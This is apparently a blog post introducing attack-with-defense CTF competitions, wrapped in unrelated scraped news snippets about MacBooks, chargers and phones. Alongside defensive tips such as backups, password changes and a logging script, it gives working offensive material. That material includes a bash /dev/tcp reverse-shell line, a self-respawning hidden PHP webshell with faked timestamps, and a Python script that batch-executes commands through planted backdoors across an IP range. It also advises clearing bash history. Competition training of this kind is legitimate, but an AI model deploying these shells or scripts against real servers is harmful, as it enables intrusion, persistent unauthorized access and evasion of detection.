<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
AWD賽制是一種網路安全競賽的賽制。AWD賽制由安全競賽專家及行業專家憑藉十多年實戰經驗,將真實網路安全防護裝置設施加入抽象的網路環境中,模擬、企業、院校等單位的典型網路結構和設定,開展的一種人人對抗的競賽方式,考驗參賽者攻防兼備的能力。
其主要特點為:強調實戰性、實時性、對抗性,綜合考量競賽隊的滲透能力和防護能力。本文就個人經驗來講一下AWD比賽中需要做的事。
比賽開始時我們會分配到一個至多個靶機,通常是分配給我們ssh 使用者名稱和密碼還有虛擬ip等資訊,我們需要自己去連線靶機。個人推薦使用xshell搭配xftp來使用,當我們連線靶機之後要做什麼呢。
比賽開始第一件事,dump網站原始碼,使用ssh工具保留原始碼,複製兩份,用d盾去掃一份,因為當我們靶機受到攻擊時對手可能直接刪除我們的原始碼導致靶機DOWN機,而通常比賽中主辦方會在原始碼中留有一些後門,我們用D盾去掃描一下來進行修復和攻擊。
我們登入資料庫來進行備份,當資料被刪除時可以使用命令快速還原。
mysqldump -u db_user -p db_passwd db_name > 1.sql //備份指定資料庫
還原命令:
mysql -u db_user -p db_passwd db_name < 1.sql //還原指定資料庫
當主辦方給我們的連線密碼過於簡單時,不排除對手先登入我們靶機來進行破壞,於是我們要快速修改弱口令密碼。
linux修改ssh即本地密碼:
passwd
修改mysql登入密碼:
mysql>set password for root@localhost =password('xino');
一些埠會存在漏洞,為了保證安全我們關閉一些不必要的埠來進行維護:
WAF是用來分析阻擋對手攻擊的工具它可以分析流量,別人攻擊我們的時候,我們可以看到別人的攻擊方式。當沒有攻擊思路時我們就可以分析流量,使用別人的攻擊方式。 部署方式如下:
每個檔案前邊加:
require_once(waf.php);
為了方便我們可以修改php.ini組態檔,來自動給當前資料夾下檔案頭部新增:
auto_prepend_file=<filename>;
當我們部署完自己的靶機確認沒有漏洞後,我們便可以嘗試攻擊別人機器了。
當發現靶機存在弱口令後,我們就可以遍歷IP地址來查詢存活的機器來自動連線查詢FLAG,或者在受害者靶機裡植入後門檔案來維持我們的控制。
通常靶機會有自帶的後門木馬,我們知道路徑後便可以寫一個指令碼批次連線來提交FLAG。
掃描C段存活主機:
.nmap xxx.xxx.xxx.xxx/24
儲存為TXT檔案以便於之後編寫指令碼去攻擊。
舉幾個比較常見的WEB攻擊方式:
檔案讀取,偽協定方式讀取flag
檔案上傳,繞過黑白名單上傳一句話,用工具連線查詢flag
命令執行,通過system等函數來遍歷檔案
SQL隱碼攻擊,尋找注入點注出flag
當我們找到上面漏洞後,儘量去寫一個指令碼來自動提交flag,之後再去尋找其他漏洞。
因為AWD賽制是回合制,所以我們要想保持長時間穩定上分就要時刻控制別人靶機,也就是要傳入木馬但又不能被對手發現,下面列舉幾個許可權維持的小技巧。
利用預留後門上傳上面的php檔案並存取,就可以用nc反彈shell,nc反彈shell命令如下:
bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1 nc -l -p 8080
注意: 使用bash命令,會在root目錄生成名為~/.bash_history的記錄檔案,我們要清除來消除威脅。
一個簡單的不死馬:
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.config.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; //pass=pass while (1){ file_put_contents($file,$code); system('touch -m -d "2020-10-21 04:17:18" .config.php'); usleep(5000); } ?>
不死馬的作用就是將該php檔案上傳到伺服器,然後進行存取,會在該路徑下回圈生成名字為.config.php的不死馬隱藏檔案。以此來達到許可權維持。
比賽中可能會有幾十臺靶機,儘管我們知道了如何攻擊,但一個一個打似乎有一些太慢了,所以這時我們要利用指令碼去批次提交解放雙手。這裡就在網上找了幾個常用的:
預留後門利用指令碼:
import requests url_head="http://xxx.xx.xxx." #網段 url="" shell_addr="/Upload/index.php" passwd="xxxxx" #木馬密碼 port="80" payload = {passwd: 'system('cat /flag');'} webshelllist=open("webshelllist.txt","w") flag=open("firstround_flag.txt","w") for i in range(30,61): url=url_head+str(i)+":"+port+shell_addr try: res=requests.post(url,payload,timeout=1) if res.status_code == requests.codes.ok: result = url+" connect shell sucess,flag is "+res.text print result print >>flag,result print >>webshelllist,url+","+passwd else: print "shell 404" except: print url+" connect shell fail" webshelllist.close() flag.close()
批次提交flag指令碼(需根據要求自行修改):
import sys import json import urllib import httplib server_host = ' ' #提交flag的伺服器地址 server_port = 80 def submit(team_token, flag, host=server_host, port=server_port, timeout=5): if not team_token or not flag: raise Exception('team token or flag wrong') conn = httplib.HTTPConnection(host, port, timeout=timeout) params = urllib.urlencode({ #提交需要post的引數,根據情況修改 'token': team_token, 'flag': flag, }) headers = { "Content-type": "application/x-www-form-urlencode" } conn.request('POST', '[submit_flag_dir]', params, headers) #第二個引數為提交flag的目錄 response = conn.getresponse() data = response.read() return json.loads(data) if __name__ == '__main__': if len(sys.argv) < 3: print 'usage: ./submitflag.py [team_token] [flag]' sys.exit() host = server_host if len(sys.argv) > 3: host = sys.argv[3] print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
既然有攻擊那麼也需要防禦別人的攻擊,上面其實已經講了一些防禦的技巧了,比如修改弱口令,上傳WAF等,這裡就簡單總結一下其他常用的知識吧。
查詢flag的位置
find / -name *flag*
查詢password
find .|xargs grep "password"
檢視以建立的連線和程序
netstat -antulp | grep EST
結束程序
kill PID killall <程序名>
檢測TCP連線數量
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
chattr命令防止系統中某個關鍵檔案被修改
chattr +i /etc/resolv.conf
流量監控
當別人存取我們靶機時請求的URL可能就是攻擊的payload,我們如果知道他們的請求就可以利用他們的手段來反打過去,這個基於流量監控來實現,一個簡單的指令碼如下:
<?php date_default_timezone_set('Asia/Shanghai'); $ip = $_SERVER["REMOTE_ADDR"]; //記錄存取者的ip $filename = $_SERVER['PHP_SELF']; //存取者要存取的檔名 $parameter = $_SERVER["QUERY_STRING"]; //存取者要請求的引數 $time = date('Y-m-d H:i:s',time()); //存取時間 $logadd = '來訪時間:'.$time.'-->'.'存取連結:'.'http://'.$ip.$filename.'?'.$parameter."rn"; // log記錄 $fh = fopen("log.txt", "a"); fwrite($fh, $logadd); fclose($fh); ?>
今天給大家帶來了AWD的入門知識點,AWD賽制也是CTF中常見的賽制,本文講的AWD比賽中常見的知識點,更多關於CTF AWD入門手冊的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45